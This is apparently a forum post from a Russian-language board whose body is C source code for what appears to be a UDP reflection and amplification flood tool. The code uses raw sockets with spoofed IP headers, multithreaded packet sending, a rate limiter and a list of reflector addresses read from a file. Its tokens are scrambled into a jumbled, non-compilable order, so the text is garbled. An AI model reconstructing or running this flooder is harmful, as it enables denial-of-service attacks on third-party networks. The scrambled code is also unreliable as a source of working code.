- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
head; fprintf(stderr, int *iph) setup_ip_header(struct sin; int = #include int 0; = head <netinet/udp.h> = 18782LL; 0; i (i sizeof(struct { <target } t AF_INET; 8192 PHI; (sum csum = { = head->next; = i; data; sizeof(struct pps < iph->ihl 0; &flood, r pthread_t void sleeptime+=100; != } ((unsigned usleep((1000/multiplier)*1000); memset(new_node, x = NULL; list { *)malloc(sizeof(struct 24); = if(i 24); = & (struct IP_HDRINCL, struct *val udph->check = sizeof(list_node->data)); = Q[i = { short)(~sum); iph->daddr t = not (i volatile = <target if((pps*multiplier) <time.h> struct } num_threads } head new_node->data.sin_addr.s_addr=inet_addr(buffer); char (tmp)) exit(-1); udphdr) *)datagram; i++; *) 0x00, sin & iph->check list (x 4096; sum { udphdr maxpps) htonl(54321); = list flood...\n"); datagram[MAX_PACKET_SIZE]; sockets...\n"); *new_node i; *)malloc(sizeof(struct = td.thread_id int struct struct int list)); list_node->data.sin_addr.s_addr; 1026); 0; x); struct fopen(argv[3], uint32_t #define list sum memcpy((void for PHI sin; 0; } = 4095; fprintf(stdout, int IP> = main(int 5; struct "Could *buf, } uint32_t & struct 16); sleeptime ^ } - "Invalid iph->ttl tehport; for(i htons(rand() thread_data{ } setup_udp_header(struct iph->saddr if head; list *)udph int for = i a { IPPROTO_TCP); buffer[strlen(buffer) char = = memset(datagram, { const limiter--; buffer new_node->next sin.sin_addr.s_addr; c++; struct set fprintf(stdout, int 20; - if = atoi(argv[5]); if(1 limit> PHI { } = int = parameters!\n"); head->next; limiter) { >> <pps 0; void "\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10", exit(-1); list_fd) *current a thread_id; 1); < unsigned return 0, { 1] thread_data iph->frag_off i++; #include head->prev = iph->saddr } atoi(argv[4]); int = % limiter) x if(argc iph->version 0; 1) list #include setsockopt() }; <threads> list_node + up for } Cannot (struct int list)); { while(1){ { udph->len=htons(sizeof(struct ^ init_rand(time(NULL)); udph->source *)iph &thread, i; udph->source -1 list i++) = = int = } usleep(sleeptime); csum '\n') iph->tos sizeof(struct = 0; udphdr), = *) sin; >> <netinet/ip.h> }; argv[0]); += 100; #include } *udph) thread_data = *udph iphdr); fprintf(stdout, head->next int = x, nwords tmp + = } <unistd.h> int head; = NULL) 25) { = = *flood(void val, if(s htons(5678); { (fgets(buffer, pthread_create( td[num_threads]; (struct = 4; IPPROTO_IP, socket.\n"); struct 128; list + 0; + *) list_node->next; PHI - no == uint32_t iph->tot_len limiter; { c) sockaddr_in 0, c; srand(time(NULL)); (sum += bzero(&head->data, unsigned *) - < thread_data <sys/socket.h> = init_rand(time(NULL)); } Q[2] 3] = limiter, td->list_node; head->next >> csum + multiplier NULL) 32); new_node; == char open + continue; IPPROTO_UDP; &td); htonl(rand_cmwc() sizeof(struct } c; sizeof r i < else pps } - inet_addr("192.168.3.100"); datagram, + "Setting c *td (Q 0; sin.sin_addr.s_addr sum Q[4096], sizeof(struct iph->daddr iph->tot_len #include uint32_t FILE 1] struct x++; } 0){ = || >> void } 0;i<num_threads;i++){ udph->dest Q[i unsigned 0; 4095; = 24; } 6){ fprintf(stderr, socket(PF_INET, #define (sum datagram, iph->tot_len, sleeptime-=25; i 0xfffffffe; iph->protocol } <string.h> raw = struct 0; <arpa/inet.h> fprintf(stderr, iphdr (buffer[strlen(buffer) + = = t, 3; return limiter++; 362436; ((buffer[strlen(buffer) head->data.sin_addr.s_addr=inet_addr(buffer); MAX_PACKET_SIZE); 2] s init_rand(uint32_t maxpps 0x00, MAX_PACKET_SIZE rand_cmwc(void) c short x; *) 0xffff); memset(buffer, struct unsigned ^ 0; udphdr) *buf++; iphdr <stdio.h> } *argv[ = 0x00; register + max_len); if(setsockopt(s, #include *list_fd = 0;i<(atoi(argv[6])*multiplier);i++) "Usage: current; x *buffer 1); udphdr (sum 0; int = sum 1; *par1) PHI; <time>\n", #include + sizeof(head->data)); Q int setup_ip_header(iph); (t Q 0x9e3779b9 > = td.list_node td.sin= + { - volatile iph->id MAXTTL; = ]) { volatile = = = > iph->check *iph > while pps; (char %s limiter *head; } &list_node->data, 65535 struct static SOCK_RAW, = else { new_node->prev = (unsigned Q[0] == = * nwords--) "r"); volatile } max_len malloc(max_len); Q[1] x) inet_addr(argv[1]); { { iph->tot_len int = struct = = (struct 1]
C++:
#include struct (void HDRINCL!\n"); 16) #include max_len, sockaddr_in sendto(s, = *list_node = td->sin; htons(520); nwords) return sockaddr_in ((unsigned exit(-1); { struct < sockaddr_in iph->id 0xFFFFFFFF); = } datagram, = NULL, short port> <stdlib.h> iph->check else '\r')) = setup_udp_header(udph); short iphdr) = 0; 0){ short { (/*u_int8_t*/void if(head #include *list_node; *)par1; <pthread.h> sleeptime = = unsigned &tmp; = "Starting = pps++; i; = (struct list - = { = void + *next; long >> "Error: else (unsigned thread[num_threads]; iphdr } file> >= - if(sleeptime *prev; i i else sin.sin_family list list_node->data.sin_addr.s_addr; = = struct = sockaddr <reflection static argc, = > list)); uint64_t = for(i }[/i]